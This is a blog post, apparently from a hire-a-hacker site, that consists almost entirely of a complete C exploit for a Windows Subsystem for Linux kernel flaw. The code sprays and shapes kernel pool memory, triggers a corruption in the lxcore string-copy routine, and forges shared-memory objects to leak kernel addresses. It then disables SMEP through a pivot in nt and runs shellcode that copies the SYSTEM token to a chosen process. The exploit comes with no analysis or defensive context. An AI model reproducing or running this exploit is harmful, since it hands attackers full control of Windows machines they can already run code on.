Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86382570

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#define _GNU_SOURCE

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/ipc.h> 
#include <sys/sem.h>
#include <sys/shm.h>

#define RING_SIZE				0x2000000
#define PIPE_SIZE				0xb8
#define PTR_SIZE				0x8
#define STR_HDR_SIZE			0x18

#define LEAK_OFFSET				0x68
#define SHELLCODE_OFFSET		0x200
#define CHUNK_LVXF_OFFSET		0x138f4296
#define CR4_VAL_ADDR			0x506f8
#define MAGIC_KEY				0xefef
#define NT_OFFSET_TO_PIVOT		0x288005

size_t curr_key 				= 0;

char SHELLCODE[] = {
	//0xcc,
	0x90, 															// CLI
	0x90, 															// PUSHFQ
	0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90,  	// MOV RAX, Original Pointer
	0x50, 															// PUSH RAX
	0x51, 															// PUSH RCX
	0x90, 0x90, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90,  	// MOV RCX, [OverwriteAddr+OverwriteOffset]
	0x90, 0x90, 0x90,  												// MOV    QWORD PTR [RCX], RAX
	0xb9, 0xfc, 0x11, 0x00, 0x00,  									// MOV ECX, PID

	0x53, 															// PUSH RBX

	0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,  			// MOV    RAX,QWORD PTR gs:0x188
	0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00,						// MOV    RAX,QWORD PTR [RAX+0xb8] EPROCESS
	0x48, 0x8d, 0x80, 0xe8, 0x02, 0x00, 0x00,						// LEA    RAX,[RAX+0xActiveProcessLinkOffset] 

	//<tag>
	0x48, 0x8b, 0x00,												// MOV    RAX,QWORD PTR [RAX]
	0x48, 0x8b, 0x58, 0xf8,											// MOV    RBX,QWORD PTR [RAX-8] // UniqueProcessID
	0x48, 0x83, 0xfb, 0x04,											// CMP    RBX,0x4
	0x75, 0xf3,														// JNE    <tag>
	0x48, 0x8b, 0x58, 0x70,											// MOV    RBX, QWORD PTR [RAX+0x70] // GET TOKEN of SYSTEM
	0x90, 0x90, 0x90,
	0x53, 															// PUSH RBX
	//<tag2>
	0x48, 0x8b, 0x00,												// MOV    RAX,QWORD PTR [RAX]
	0x48, 0x8b, 0x58, 0xf8,											// MOV    RBX,QWORD PTR [RAX-8] // UniqueProcessID
	0x39, 0xcb,														// CMP    EBX, ECX // our PID
	0x75, 0xf5,														// JNE    <tag2>
	0x5b, 															// POP RBX
	0x48, 0x89, 0x58, 0x70,											// MOV    QWORD PTR[RAX +0x70], RBX
	0x90, 0x90, 0x90,

	0x5b, 															// POP RBX
	0x59, 															// POP RCX
	0x58, 															// POP RAX
	0x90, 															// POPFQ

	0xc3  															// RET
};

int calc_stop_idx(size_t alloc_size, size_t factor);
int get_size_factor(size_t spray_size, size_t *factor);
int trigger_corruption(int spray_size);
int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx);
int spray(size_t count);
int alloc_sem(size_t factor);
int free_sem(int key);
char *get_faked_shm();
void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid);
void trigger_shm(size_t shmid);
void print_shm(struct shmid_ds *buf);
void *absolute_read(void* obj, size_t shmid, void *addr);
int alloc_shm(size_t key);
int shape(size_t *spray_size);

int calc_stop_idx(size_t alloc_size, size_t factor) {
	size_t totalStringsLength, headersLength;

	totalStringsLength = (factor - 1) * 2 + 0xd001;
	headersLength = (factor * STR_HDR_SIZE) % (0x100000000);

	return (alloc_size + 496 + 0xc000) / STR_HDR_SIZE;
}

int get_size_factor(size_t spray_size, size_t *factor) {
	if (spray_size != 0x2000000) {
		printf("SPRAY_SIZE ISSUE\n");
		exit(1);
	}

	*factor = 0xab13aff - 0x800*2;
	return 0x15fffdfc;
}

int trigger_corruption(int spray_size) {
	size_t factor = 0, alloc_size, stopIdx;
	int ret;
	alloc_size = get_size_factor(spray_size, &factor);
	if (alloc_size < 0) {
		printf("[*err*] unsupported spray_size == 0x%x", spray_size);
		return -1;
	}

	stopIdx = calc_stop_idx(alloc_size, factor);

	ret = call_LxpUtilReadUserStringSet(factor + 1, 1, 'O', stopIdx);
	printf("[*] trigger_corruption() returned 0x%x\n", ret);
	return 0;
}

int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx) {
	char **argv, *innerBuf, *stopInnerBuf = NULL;
	size_t pid;

	argv = (char*)mmap(NULL, argc * sizeof(char*), PROT_READ | PROT_WRITE, 
                    MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	if(!argv) {
		perror("[*err*] malloc argv failed\n"); 
		return -1;
	}

	innerBuf = (char*)malloc(innerSize); 
	if (!innerBuf) {
		printf("[*err*] malloc innerBuf failed\n");
		return -1;
	}
	memset(innerBuf, pattern, innerSize);

	for(size_t i = 0; i < argc - 1; ++i) {
		argv[i] = innerBuf;
	}
	argv[argc-1] = NULL;

	pid = fork();
	if (pid) {
		// parent
		if(stopIdx > 0) {
			sleep(1.5);
			printf("[*] set stopIdx, stopping wildcopy\n");
			argv[stopIdx] = NULL;
		}
		return 0;
	} else {
		// son
		argv[stopIdx - 1] = (char*)malloc(0xe000);
		memset(argv[stopIdx - 1], "X", 0xd000-1);
		argv[stopIdx - 1][0xd000-1] = '\0';

		argv[stopIdx - 7] = (char*)malloc(0xe000);
		memset(argv[stopIdx - 7], "X", 0xd000-1);
		argv[stopIdx - 7][0xd000-1] = '\0';

		// this execve is on nonsense "program", so it will return err.
		// Just kill the thread.
		execve(argv[0], argv, NULL);
		exit(1);
	}
}

/*
	spray <count> chunks, and return number of total bytes allocated
*/
int spray(size_t count) {
	int exec[2];
	int pipe_capacity = 0, ret = 0;

	for (size_t i = 0; i < count; ++i) {
		if (pipe(exec) < 0) {
			printf("[*err*] pipe\n");
			ret = -1;
			goto cleanup;
		}		

		pipe_capacity = fcntl(exec[1], F_SETPIPE_SZ, RING_SIZE);
		if(pipe_capacity < 0) {
			printf("[*err*] fcntl return neg capacity\n");
			ret = -1;
			goto cleanup;
		}

		ret += pipe_capacity;
	}

cleanup:
	return ret;
}

/*
	allocate 12 * v_nsems + 176
*/
int alloc_sem(size_t factor) {
	int semid;
  	int nsems = factor;

  	semid = semget(curr_key++, nsems, IPC_CREAT | 0666);
  	if(semid == -1) {
  		printf("[*err*]semget failed, errno == 0x%x\n", errno);
  		return -1;
  	}

	return semid;
}

int free_sem(int key) {
	if(semctl(key, 0, IPC_RMID, 0) == -1) {
		printf("[*err*] semctl failed, errno == 0x%x\n", errno);
		return -1;
    }
    return 0;
}

char *get_faked_shm() {
	size_t shellcode_length = 0;
	char *obj = (char*)mmap(0xc000, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC,
					MAP_SHARED | MAP_ANONYMOUS, -1, 0x0);
	char *shellcode_ptr;

	if (obj == (void*)-1) {
		printf("[*err*] mmap failed\n");
		return NULL;
	}
	char *cr4_addr = (char*)mmap(CR4_VAL_ADDR & ~0xfff, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC,
					MAP_SHARED | MAP_ANONYMOUS, -1, 0x0);
	if (cr4_addr == (void*)-1) {
		printf("[*err*] mmap failed\n");
		return NULL;
	}
	memset(cr4_addr, 0x0, 0x10000);

	printf("[*] mmap userspace addr %p, set faked shm object\n", obj);

	obj += 0x1000;
	shellcode_ptr = obj + 0x200;
	initialize_fake_obj(obj, shellcode_ptr, NULL, 0x41414141, -1);
	return obj;
}

void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid) {
	size_t val = 0x4141414141414141, val2 = 7, val3 = CR4_VAL_ADDR;
	char *obj2 = obj+0x1000;

	memset(obj - 0x100, 0x0, 0x1000);

	memcpy(obj, &read_addr, sizeof(size_t));
	memcpy((obj+0x10), &val, sizeof(size_t));

	memcpy(obj - 0x20, &val2, sizeof(size_t));
	memcpy(obj - 0x68, &obj, sizeof(char*));
	memcpy(obj + 0x28, &shellcode_ptr, sizeof(char*));
	memcpy(obj - 0x80, &obj, sizeof(char*));
	memcpy((obj + 0x40), &val, sizeof(size_t));

	memcpy(CR4_VAL_ADDR + 0x10, &fake_shmid, sizeof(size_t));
	memcpy(CR4_VAL_ADDR - 0x20, &val2, sizeof(size_t));
	memcpy(CR4_VAL_ADDR - 0x80, &val3, sizeof(char*));
	memcpy(CR4_VAL_ADDR - 0x68, &val3, sizeof(char*));
	memcpy(CR4_VAL_ADDR + 0x28, &shellcode_ptr, sizeof(char*));
	memcpy((CR4_VAL_ADDR + 0x40), &val, sizeof(size_t));

	memcpy(CR4_VAL_ADDR + 0x18, &val2, sizeof(size_t));						// refcount
	memcpy((CR4_VAL_ADDR + 0x50), &obj2, sizeof(size_t));
	memcpy((CR4_VAL_ADDR + 0x90), &val3, sizeof(size_t));

	memcpy(obj + SHELLCODE_OFFSET, SHELLCODE, sizeof(SHELLCODE));
	memcpy(obj + SHELLCODE_OFFSET + 28, &pid, 4);
}

void trigger_shm(size_t shmid) {
	char *data;
	data = shmat(shmid, (void*)0, 0);
}

void print_shm(struct shmid_ds *buf) {
	printf ("\nThe USER ID = %p\n", buf->shm_perm.uid);
	printf ("The GROUP ID = %p\n", buf->shm_perm.gid);
	printf ("The creator's ID = %p\n", buf->shm_perm.cuid);
	printf ("The creator's group ID = %p\n", buf->shm_perm.cgid);
	printf ("The operation permissions = 0%o\n", buf->shm_perm.mode);
	printf ("The slot usage sequence\n");
	//printf ("number = 0%x\n", buf->shm_perm.seq);
	//printf ("The key= 0%x\n", buf->shm_perm.key);
	printf ("The segment size = %p\n", buf->shm_segsz);
	printf ("The pid of last shmop = %p\n", buf->shm_lpid);
	printf ("The pid of creator = %p\n", buf->shm_cpid);
	printf ("The current # attached = %p\n", buf->shm_nattch);
	printf("The last shmat time = %p\n", buf->shm_atime);
	printf("The last shmdt time = %p\n", buf->shm_dtime);
	printf("The last change time = %p\n", buf->shm_ctime);
}

void *absolute_read(void* obj, size_t shmid, void *addr) {
	struct shmid_ds shm;
	initialize_fake_obj(obj, obj + SHELLCODE_OFFSET, addr, shmid, -1);
	shmctl(shmid, IPC_STAT, &shm);
	return (void*)shm.shm_ctime;
}

int alloc_shm(size_t key) {
	int shmid;
	shmid = shmget(key, 1024, 0644 | IPC_CREAT);
	return shmid;
}

int shape(size_t *spray_size) {
	size_t keys[0x400];
	int exec[2];
	int sv[2];
    char flag;

	size_t bytes = 0, tofree = 0;
	size_t factor,hole_size;
	struct flock fl;
	memset(&fl, 0, sizeof(fl));
	pid_t pid, wpid;
	int status;

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) == -1) {
		printf("[*err] socketpair failed\n");
		return 1;
	}

	bytes = spray(1);
	if (bytes == (size_t)-1) {
		printf("[*err*] bytes < 0, are you root?\n");
		return 1;
	}

	*spray_size = bytes;
	hole_size = get_size_factor(*spray_size, &factor);

	tofree = hole_size / (bytes / 1) + 1;

	printf("[*] allocate holes before the workspace\n");
	for (int i = 0; i < 0x400; ++i) {
		keys[i] = alloc_sem(0x7000);
	}
	for (int i = 0; i < 0x20; ++i) {
		alloc_sem(0x7000);
	}
	for (int i = 0; i < 0x2000; ++i) {
		alloc_sem(4063);
	}
	for (int i = 0; i < 0x2000; ++i) {
		alloc_sem(3);
	}

	pid = fork();
	if (pid > 0) {
		printf("[*] alloc 0xc pages groups, adjust to continuous allocations\n");
		bytes = spray(5);
		write(sv[1], "p", 1);
		read(sv[1], &flag, 1);
	} else {
		// son
		read(sv[0], &flag, 1);
		printf("[*] alloc workspace pages\n");
		bytes = spray(tofree);
		printf("[*] finish allocate workspace allocations\n");
		write(sv[0], "p", 1);
	}

	if (pid > 0) {
		printf("[*] allocating (0xc - shm | shm) AFTER the workspace\n");
		for (int i = 0; i < 0x100; ++i) {
			alloc_sem(4061);
			for (int j = 0; j < 0x5; ++j) {	
				alloc_shm(i * 0x100 + j);
			}
		}
		write(sv[1], "p", 1);
	} else {
		read(sv[0], &flag, 1);
		printf("[*] free middle allocation, creating workspace freed\n");
		exit(1);
	}

	while ((wpid = wait(&status)) > 0); 

	printf("[*] free prepared holes, create little pages holes before the workspace\n");
	for (int i = 0; i < 0x400; ++i) {
		free_sem(keys[i]);
	}
	
	return 0;
}

int main(int argc, char **argv) {
	size_t spray_size = 0;
	char *obj;
	void *paged_pool_addr, *file_obj, *lxcore_addr, *nt_c_specific_handler;
	void *nt_addr;

	obj = get_faked_shm();

	printf("[*] start shaping\n");
	if (shape(&spray_size)) {
		printf("[*err*] shape failed, exit\n");
		return 1;
	}

	// if there is some shm with shmid==0, delete it
	shmctl(0, IPC_RMID, NULL);

	printf("[*] shape is done\n");
	if (trigger_corruption(spray_size) < 0) {
		printf("[*err*] internal error\n");
		return 1;
	}

	sleep(8);

	printf("[*] leak shm, with the corrupted shmid\n");
	paged_pool_addr = absolute_read(obj, 1, NULL);

	printf("[*] infoleak - PagedPool addr at %p\n", paged_pool_addr);
	file_obj = absolute_read(obj, 0xffff, paged_pool_addr + CHUNK_LVXF_OFFSET - LEAK_OFFSET);
	printf("[*] infoleak - fileObj addr at %p\n", file_obj);
	lxcore_addr = absolute_read(obj, 0, file_obj - 0x68 - LEAK_OFFSET);
	printf("[*] infoleak - lxcore!LxpSharedSectionFileType addr at %p\n", lxcore_addr);
	nt_c_specific_handler = absolute_read(obj, 0, lxcore_addr + 0x8b90 - LEAK_OFFSET);
	printf("[*] infoleak - nt!_C_specific_handler addr at %p\n", nt_c_specific_handler);

	printf("[*] call nt pivot, disable SMEP\n");
	initialize_fake_obj(obj, nt_c_specific_handler + NT_OFFSET_TO_PIVOT, CR4_VAL_ADDR, MAGIC_KEY, -1);
	trigger_shm(MAGIC_KEY);

	sleep(5);

	printf("[*] jump to shellcode!\n");
	initialize_fake_obj(obj, obj+0x200, CR4_VAL_ADDR, MAGIC_KEY, atoi(argv[1]));
	trigger_shm(MAGIC_KEY);

	sleep(2);

	return 0;
}